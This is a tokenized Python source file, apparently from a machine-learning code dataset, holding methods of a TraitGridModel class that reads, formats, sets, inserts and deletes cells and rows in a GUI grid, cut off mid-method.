"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "cell", "\\u", "selection", "\\u", "value_", "(_", "self_", ",_", "row_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", "s", " ", "a", " ", "Trait", "Grid", "Selecti", "on", " ", "object", " ", "speci", "fy", "ing", " ", "the", " ", "data", " ", "store", "d", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "the", " ", "table", " ", "at", " ", "(", "row", ",", " ", "col", ").", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "=_", "self_", "._", "data_", "[_", "row_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tra", "it", "\\u", "name_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column", "\\u", "name_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Trait", "Grid", "Selection_", "(_", "obj_", "=_", "obj_", ",_", "tra", "it", "\\u", "name_", "=_", "tra", "it", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve", "\\u", "selection_", "(_", "self_", ",_", "selection", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "(", "row", ",", " ", "col", ")", " ", "grid", "-", "cell", " ", "coordinate", "s", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "correspond", " ", "to", " ", "the", " ", "object", "s", " ", "in", " ", "obj", "list", ".", " ", "For", " ", "each", " ", "coordinate", ",", " ", "if", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "row", " ", "is", " ", "-1", " ", "it", " ", "indicat", "es", " ", "tha", "t", " ", "the", " ", "entire", " ", "column", " ", "is", " ", "selecte", "d", ".", " ", "Lik", "ew", "ise", "\\", "10", ";", " ", " ", " ", " ", "coordinate", "s", " ", "with", " ", "a", " ", "column", " ", "of", " ", "-1", " ", "indicat", "e", " ", "an", " ", "entire", " ", "row", " ", "tha", "t", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "selecte", "d", ".", " ", "For", " ", "the", " ", "Trait", "Grid", "Model", ",", " ", "the", " ", "object", "s", " ", "in", " ", "obj", "list", " ", "must", "\\", "10", ";", " ", " ", " ", " ", "be", " ", "Trait", "Grid", "Selecti", "on", " ", "object", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cells_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "selection_", "in_", "selection", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "row_", "=_", "self_", "._", "data_", "._", "index_", "(_", "selection_", "._", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "column_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selection_", "._", "tra", "it", "\\u", "name_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "column_", "=_", "self_", "._", "\\u", "get", "\\u", "column", "\\u", "index", "\\u", "by", "\\u", "trait_", "(_", "selection_", "._", "tra", "it", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "column_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cells_", "._", "append_", "(_", "(_", "row_", ",_", "column_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cells_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "type_", "(_", "self_", ",_", "row_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "value", " ", "store", "d", " ", "in", " ", "the", " ", "table", " ", "at", " ", "(", "row", ",", " ", "col", ").", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "typename_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column", "\\u", "typename_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "typename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "value_", "(_", "self_", ",_", "row_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "value", " ", "store", "d", " ", "in", " ", "the", " ", "table", " ", "at", " ", "(", "row", ",", " ", "col", ").", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "value_", "=_", "self_", "._", "get", "\\u", "cell", "\\u", "drag", "\\u", "value_", "(_", "row_", ",_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "formats_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column", "\\u", "formats_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "value_", "is_", "not_", "None_", "and_", "formats_", "is_", "not_", "None_", "and_", "formats_", "._", "has", "\\u", "key_", "(_", "type_", "(_", "value_", ")_", ")_", "and_", "formats_", "[_", "type_", "(_", "value_", ")_", "]_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "format_", "=_", "formats_", "[_", "type_", "(_", "value_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "callable_", "(_", "format_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "format_", "%_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "not", " ", "eno", "ugh", " ", "argu", "ment", "s", "?", " ", "wrong", " ", "kind", " ", "of", " ", "argu", "ment", "s", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "cell", "\\u", "empty_", "(_", "self_", ",_", "row_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", "s", " ", "Tru", "e", " ", "if", " ", "the", " ", "cell", " ", "at", " ", "(", "row", ",", " ", "col", ")", " ", "has", " ", "a", " ", "Non", "e", " ", "value", ",", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", " ", "other", "wis", "e", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "value_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "row_", ",_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "value_", "is_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "cell", "\\u", "editable_", "(_", "self_", ",_", "row_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", "s", " ", "Tru", "e", " ", "if", " ", "the", " ", "cell", " ", "at", " ", "(", "row", ",", " ", "col", ")", " ", "is", " ", "edita", "ble", ",", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", " ", "other", "wis", "e", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "not_", "self_", "._", "is", "\\u", "column", "\\u", "read", "\\u", "only_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "insert", "\\u", "rows_", "(_", "self_", ",_", "pos_", ",_", "num", "\\u", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Insert", "s", " ", "num", "\\u", "rows", " ", "at", " ", "pos", " ", "and", " ", "fires", " ", "an", " ", "event", " ", "iff", " ", "a", " ", "factor", "y", " ", "method", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "new", " ", "rows", " ", "is", " ", "defin", "ed", ".", " ", "Ot", "her", "wis", "e", " ", "return", "s", " ", "0.", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "row", "\\u", "factory_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "data_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "\\u", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "data_", "._", "append_", "(_", "self_", "._", "row", "\\u", "factory_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "count_", "=_", "self_", "._", "\\u", "insert", "\\u", "rows", "\\u", "int", "o", "\\u", "model_", "(_", "pos_", ",_", "new", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rows", "\\u", "added_", "=_", "(_", "'", "adde", "d", "'_", ",_", "pos_", ",_", "new", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "delete", "\\u", "rows_", "(_", "self_", ",_", "pos_", ",_", "num", "\\u", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Remove", "s", " ", "rows", " ", "pos", " ", "through", " ", "pos", " ", "+", " ", "num", "\\u", "rows", " ", "from", " ", "the", " ", "model", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "pos_", "+_", "num", "\\u", "rows_", ">=_", "self_", "._", "get", "\\u", "row", "\\u", "count_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "rows_", "=_", "self_", "._", "get", "\\u", "rows", "\\u", "count_", "(_", ")_", "-_", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "delete", "\\u", "rows", "\\u", "from", "\\u", "model_", "(_", "pos_", ",_", "num", "\\u", "rows_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set\\u", "value_", "(_", "self_", ",_", "row_", ",_", "col_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Set", "s", " ", "the", " ", "value", " ", "of", " ", "the", " ", "cell", " ", "at", " ", "(", "row", ",", " ", "col", ")", " ", "to", " ", "value", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", " ", "a", " ", "Value", "Error", " ", "if", " ", "the", " ", "value", " ", "is", " ", "vet", "oe", "d", " ", "or", " ", "the", " ", "cell", " ", "at", "\\", "10", ";", " ", " ", " ", " ", "(", "row", ",", " ", "col", ")", " ", "doe", "s", " ", "not", " ", "exist", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "'", "Trait", "Grid", "Model", ".\\u", "set\\u", "value", ":", " ", "new", ":", " ", "',", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "rows_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "find", " ", "the", " ", "column", " ", "indexe", "d", " ", "by", " ", "col_", "\\u\\u\\uNL\\u\\u\\u_", "column_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "self_", "._", "\\u", "get", "\\u", "row_", "(_", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "obj_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "=_", "self_", "._", "\\u", "set\\u", "data\\u", "on", "\\u", "row_", "(_", "obj_", ",_", "column_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", " ", "a", " ", "new", " ", "row", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "rows_", "=_", "self_", "._", "\\u", "insert", "\\u", "rows_", "(_", "self_", "._", "get", "\\u", "row", "\\u", "count_", "(_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "\\u", "rows_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "now", " ", "set", " ", "the", " ", "value", " ", "on", " ", "the", " ", "new", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "\\u", "get", "\\u", "row_", "(_", "self_", "._", "get", "\\u", "row", "\\u", "count_", "(_", ")_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "=_", "self_", "._", "\\u", "set\\u", "data\\u", "on", "\\u", "row_", "(_", "obj_", ",_", "column_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "success_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "fix", "me", ":", " ", "what", " ", "do", " ", "we", " ", "do", " ", "in", " ", "this", " ", "case", "?", " ", "vet", "o", " ", "the", " ", "set", " ", "some", "how", "?", " ", "raise_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "an", " ", "exception", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "new", "\\u", "rows_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "row_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "object", " ", "tha", "t", " ", "correspond", "s", " ", "to", " ", "the", " ", "row", " ", "at", " ", "index", ".", " ", "Override", "\\", "10", ";", " ", " ", " ", " ", "this", " ", "to", " ", "handle", " ", "very", " ", "large", " ", "data", " ", "sets", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "self_", "._", "data_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "data\\u", "from", "\\u", "row_", "(_", "self_", ",_", "row_", ",_", "column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Retrieve", " ", "the", " ", "data", " ", "specified", " ", "by", " ", "column", " ", "for", " ", "this", " ", "row", ".", " ", "Attribute", "\\", "10", ";", " ", " ", " ", " ", "can", " ", "be", " ", "eit", "her", " ", "a", " ", "member", " ", "of", " ", "the", " ", "row", " ", "object", ",", " ", "or", " ", "a", " ", "no", "-", "argu", "ment", " ", "method", "\\", "10", ";", " ", " ", " ", " ", "on", " ", "tha", "t", " ", "object", ".", " ", "Override", " ", "this", " ", "method", " ", "to", " ", "provide", " ", "alternative", " ", "way", "s", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "accessi", "ng", " ", "the", " ", "data", " ", "in", " ", "the", " ", "object", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "value_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "row_", "is_", "not_", "None_", "and_", "column_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "column_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "first", " ", "handle", " ", "the", " ", "case", " ", "where", " ", "the", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "definit", "ion", " ", "mig", "ht", " ", "be", " ", "just", " ", "a", " ", "string_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "row_", ",_", "column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "getattr_", "(_", "row_", ",_", "column_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "column_", "._", "name_", "is_", "not_", "None_", "and_", "hasattr_", "(_", "row_", ",_", "column_", "._", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "the", " ", "case", " ", "whe", "n", " ", "the", " ", "tra", "it", " ", "name", " ", "is", " ", "specified", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "getattr_", "(_", "row_", ",_", "column_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "column_", "._", "method_", "is_", "not_", "None_", "and_", "hasattr_", "(_", "row_", ",_", "column_", "._", "method_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "the", " ", "case", " ", "whe", "n", " ", "an", " ", "object", " ", "method", " ", "is", " ", "specified", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "getattr_", "(_", "row_", ",_", "column_", "._", "method_", ")_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set\\u", "data\\u", "on", "\\u", "row_", "(_", "self_", ",_", "row_", ",_", "column_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Retrieve", " ", "the", " ", "data", " ", "specified", " ", "by", " ", "column", " ", "for", " ", "this", " ", "row", ".", " ", "Attribute", "\\", "10", ";", " ", " ", " ", " ", "can", " ", "be", " ", "eit", "her", " ", "a", " ", "member", " ", "of", " ", "the", " ", "row", " ", "object", ",", " ", "or", " ", "a", " ", "no", "-", "argu", "ment", " ", "method", "\\", "10", ";", " ", " ", " ", " ", "on", " ", "tha", "t", " ", "object", ".", " ", "Override", " ", "this", " ", "method", " ", "to", " ", "provide", " ", "alternative", " ", "way", "s", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "accessi", "ng", " ", "the", " ", "data", " ", "in", " ", "the", " ", "object", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "row_", "is_", "not_", "None_", "and_", "column_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "column_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "row_", ",_", "column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "somet", "imes", " ", "the", " ", "underl", "ying", " ", "grid", " ", "give", "s", " ", "us", " ", "0", "/", "1", " ", "inst", "ead_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "Tru", "e", "/", "Fal", "se", ".", " ", "do", " ", "some", " ", "conve", "rsi", "on", " ", "here", " ", "to", " ", "make", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "case", " ", "wor", "l", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "type", "(", "getattr", "(", "row", ",", " ", "column", "))", " ", "==", " ", "bool", " ", "and", " ", "\\\\_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "type", "(", "value", ")", " ", "!=", " ", "bool", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "the", " ", "value", " ", "to", " ", "a", " ", "boolean_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "value", " ", "=", " ", "bool", "(", "value", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "setattr_", "(_", "row_", ",_", "column_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "column_", "._", "name_", "is_", "not_", "None_", "and_", "hasattr_", "(_", "row_", ",_", "column_", "._", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "somet", "imes", " ", "the", " ", "underl", "ying", " ", "grid", " ", "give", "s", " ", "us", " ", "0", "/", "1", " ", "inst", "ead_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "Tru", "e", "/", "Fal", "se", ".", " ", "do", " ", "some", " ", "conve", "rsi", "on", " ", "here", " ", "to", " ", "make", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "case", " ", "wor", "l", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "type", "(", "getattr", "(", "row", ",", " ", "column", ".", "name", "))", " ", "==", " ", "bool", " ", "and", " ", "\\\\_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "type", "(", "value", ")", " ", "!=", " ", "bool", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "the", " ", "value", " ", "to", " ", "a", " ", "boolean_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "value", " ", "=", " ", "bool", "(", "value", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setattr_", "(_", "row_", ",_", "column_", "._", "name_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "=_", 